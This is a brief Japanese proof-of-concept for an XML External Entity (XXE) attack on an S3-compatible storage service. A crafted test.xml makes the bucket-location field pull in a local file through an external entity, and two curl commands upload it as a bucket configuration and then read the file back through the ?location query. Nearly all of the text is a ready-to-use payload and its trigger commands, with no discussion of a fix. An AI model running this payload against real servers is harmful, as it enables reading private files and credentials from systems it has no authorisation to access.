
S3におけるXML External Entity PoC.
XML External Entity(XXE)脆弱性の悪用
test.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///path/to/file">
]>
<CreateBucketConfiguration>
<LocationConstraint>&xxe;</LocationConstraint>
</CreateBucketConfiguration>
curlを使用して、ローカルマシンからバケットに test.xml をアップロードします。
curl -X PUT http://127.0.0.1:PORT/TB1 -H "Content-Type: application/xml" -d @test.xml
エクスプロイトをトリガーしてファイルを取得する
curl http://127.0.0.1:PORT/TB1?location